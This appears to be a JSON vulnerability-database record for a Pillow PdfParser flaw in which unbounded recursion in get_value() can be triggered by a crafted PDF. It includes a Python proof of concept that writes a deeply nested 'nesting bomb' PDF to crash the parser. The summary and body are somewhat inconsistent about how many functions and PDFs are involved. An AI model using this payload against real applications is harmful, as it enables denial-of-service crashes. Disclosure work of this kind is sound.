{"schema":"threatline.record/2","record":{"id":"CVE-2026-112391","aliases":["GHSA-254f-3936-288h"],"summary":"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()","details":"### Summary\n`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.\n\n### Details\n**`get_value()` in `src/PIL/PdfParser.py`**\n\nThis is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n    return None, None\n```\n\nEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.\n\nThis advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .\n\n### Steps to reproduce\nBoth PDFs below are plain text, built directly in Python, no PDF library needed.\n\n```python\nfrom PIL.PdfParser import PdfParser\n\ndef build_pdf(root):\n    out = bytearray(b\"%PDF-1.4\\n\")\n    offset = len(out)\n    out += f\"1 0 obj\\n\".encode()\n    out += root\n    out += b\"\\nendobj\\n\"\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    xref_offset = len(out)\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    out += b\"trailer\\n\"\n    out += f\"<< /Size 2 /Root 1 0 R >>\\n\".encode()\n    out += b\"startxref\\n\"\n    out += f\"{xref_offset}\\n\".encode()\n    out += b\"%%EOF\"\n    return bytes(out)\n\nbomb = b\"[\" * 3000 + b\"]\" * 3000\nroot = b\"<< /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" >>\"\nwith open(\"nesting_bomb.pdf\", \"wb\") as f:\n    f.write(build_pdf(root))\n\nPdfParser(\"nesting_bomb.pdf\")     # raises RecursionError\n```\n\nExpected: a clean `PdfFormatError`.\n\nActual: raises a raw `RecursionError: maximum recursion depth exceeded`.\n\n### Impact\n- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.\n- Confidentiality: none.\n- Integrity: none.\n- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.","categories":["Libraries & packages"],"product":"Pillow","vendor":"python-pillow","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-254f-3936-288h","source_modified_at":"2026-10-21T21:11:08Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"Pillow"},"range":">= 5.1.0, < 13.0.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-112391","source_modified_at":"2026-10-20T16:09:28.294Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"Pillow","vendor":"python-pillow","versions":[{"version":">= 5.1.0, < 13.0.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-254f-3936-288h","source_modified_at":"2026-10-21T21:15:08.507283881Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-254f-3936-288h","source_modified_at":"2026-10-21T21:11:08Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"Pillow"},"version":"13.0.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-254f-3936-288h","source_modified_at":"2026-10-21T21:15:08.507283881Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"version":"13.0.0"}],"cvss":6.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00291,"percentile":0.20607,"score_date":"2026-10-23"},"published_at":"2026-10-19T20:40:36.285Z","modified_at":"2026-10-21T21:15:08.507283881Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-254f-3936-288h","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-21T21:11:08Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-112391","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T16:09:28.294Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-254f-3936-288h","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-21T21:15:08.507283881Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112391","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112391","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-254f-3936-288h","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-20T15:10:23.482670Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-21T21:15:08.507283881Z","content_hash":"3b043097c1bb459aadbc3213f920d6d74bcf98f741df250ce169873e63a6564f"}}
